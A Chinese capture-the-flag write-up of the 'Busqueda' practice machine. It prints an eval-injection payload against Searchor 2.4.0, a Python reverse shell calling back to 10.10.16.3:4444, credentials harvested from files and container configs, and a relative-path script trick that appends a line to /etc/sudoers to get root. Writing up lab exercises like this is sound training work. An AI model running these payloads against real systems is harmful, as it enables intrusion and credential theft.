本文最后更新于:1 个月前
Busqueda_easy
信息收集 1 2 3 4 5 6 7 8 9 10 namp: --min-rate 10000 10000速率来扫描 -p- 全端口 -p80,135 指定80,135端口扫描 -sU 指定udp扫描 -sT 指定tcp协议 -sV 扫描服务版本 -sC 默认脚本扫描 -O 对操作系统和版本探测 --script=vuln 进行基础漏洞扫描
可知靶机开启22端口和80端口
尝试访问80端口 发现跳转至http://searcher.htb/
修改hosts文件 vim /etc/hosts
漏洞探测 22端口为ssh服务 顺手爆破一下,万一弱口令呢
测试功能点,看到框就想SQL注入一下
注入无果,猜测 '
为某种闭合导致语句无法正常执行,再次尝试 '+'
正常回显,证明猜测
此时语句应为 query='11'+''
这里有个版权信息指向https://github.com/ArjunSharda/Searchor
Searchor 2.4.0版本。在github中查看历史版本发现2.4.2中修复了一个漏洞 跟进查看一下
2.4.2版本去除了eval的使用 修复了远程命令执行漏洞
下载2.4.0版本源码 发现在src/searchor/main.py调用了eval
它可以提供使用以下函数执行任意代码的能力:
1 2 3 __import__('os').system('<CMD>') __import__('os').popen('<CMD>').read()
payload就应为'+__import__("os").system("ls")+'
漏洞利用 反弹shell
1 11 '+ __import__("os" ).system("python3 -c \' import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\" 10.10.16.3\" ,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\" /bin/bash\" )\' " )+ '
权限提升 查看家目录 在家目录下发现user.txt 为第一个flag 175509029a5543355630a64433c10791
翻翻文件看看,找到git账号密码 cody:jh1usoih2bkjaspwe92
尝试访问 http://gitea.searcher.htb/ 无法访问 修改hosts后成功
使用cody账号登录gitea系统,尝试administrator使用同密码登录失败
对比了一下这个仓库和/var/www/app中文件,可能cody即为svc
尝试使用此密码登录ssh,svc:jh1usoih2bkjaspwe92
sudo -l 命令用于列出当前用户在 sudoers 文件中被授权执行的命令以及使用哪些参数和选项。如果当前用户没有 root 权限,这个命令可以让用户查看自己可以执行哪些以 root 权限执行的命令,从而帮助用户理解他们的权限。如果用户有足够的特权,它也可以用于更改 sudoers 文件或添加新的授权。
跟进一下system-checkup.py文件,发现只有执行权限
运行一下system-checkup.py
1 2 3 4 5 6 7 sudo /usr/ bin/python3 / opt/scripts/ system-checkup.py -h docker-ps:列出正在运行的docker容器 docker-inspect :检查某个docker容器 full-checkup:执行全系统检查
都执行一次查看
1 2 3 4 5 sudo /usr/ bin/python3 / opt/scripts/ system-checkup.py docker-ps sudo /usr/ bin/python3 / opt/scripts/ system-checkup.py docker-inspect sudo /usr/ bin/python3 / opt/scripts/ system-checkup.py full-checkup
docker-ps 列出一个gitea容器和一个mysql容器
docker-inspect 提示要跟两个参数
full-checkup 对容器体检
掏出GPT
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' f84a6b33fb5a
在配置文件中找到两个密码
jI86kGUuj87guWr3RyF
yuiu1hoiu4i5ho1uh
碰碰运气试试密码,只有gitea使用 administrator:yuiu1hoiu4i5ho1uh 登录成功
回到system-checkup.py文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import subprocessimport sys actions = ['full-checkup' , 'docker-ps' ,'docker-inspect' ]def run_command (arg_list ): r = subprocess.run(arg_list, capture_output=True ) if r.stderr: output = r.stderr.decode() else : output = r.stdout.decode() return outputdef process_action (action ): if action == 'docker-inspect' : try : _format = sys.argv[2 ] if len (_format ) == 0 : print (f"Format can't be empty" ) exit(1 ) container = sys.argv[3 ] arg_list = ['docker' , 'inspect' , '--format' , _format , container] print (run_command(arg_list)) except IndexError: print (f"Usage: {sys.argv[0 ]} docker-inspect <format> <container_name>" ) exit(1 ) except Exception as e: print ('Something went wrong' ) exit(1 ) elif action == 'docker-ps' : try : arg_list = ['docker' , 'ps' ] print (run_command(arg_list)) except : print ('Something went wrong' ) exit(1 ) elif action == 'full-checkup' : try : arg_list = ['./full-checkup.sh' ] print (run_command(arg_list)) print ('[+] Done!' ) except : print ('Something went wrong' ) exit(1 ) if __name__ == '__main__' : try : action = sys.argv[1 ] if action in actions: process_action(action) else : raise IndexError except IndexError: print (f'Usage: {sys.argv[0 ]} <action> (arg1) (arg2)' ) print ('' ) print (' docker-ps : List running docker containers' ) print (' docker-inspect : Inpect a certain docker container' ) print (' full-checkup : Run a full system checkup' ) print ('' ) exit(1 )
在full-checkup处
1 2 3 4 5 6 7 8 elif action == 'full-checkup' : try : arg_list = ['./full-checkup.sh' ] print (run_command(arg_list)) print ('[+] Done!' ) except : print ('Something went wrong' ) exit(1 )
这部分代码定义了’full-checkup’操作的处理逻辑。它尝试执行名为’full-checkup.sh’的脚本,并将输出打印到终端。如果执行过程中发生错误,它会打印出”Something went wrong”的错误消息,并退出脚本执行。如果一切顺利,它会打印”[+] Done!”作为完成的提示消息。
但是此处 full-checkup.sh 没有使用绝对路径路径,意味着可以在其他目录创建此文件并执行。
切换tmp目录 不出意外执行错误,证明猜想
1 2 3 4 5 touch full-checkup.sh echo '#!/bin/bash' >> full-checkup.sh echo 'echo "svc ALL=(ALL:ALL) ALL" >> /etc/sudoers' >> full-checkup.sh chmod 777 full-checkup.sh sudo /usr/bin /python3 /opt/scripts/system-checkup.py full-checkup
提权为root,查看家目录获取第二个flag 1c4bb1d71ccdf756979b6d7c4aafb3e9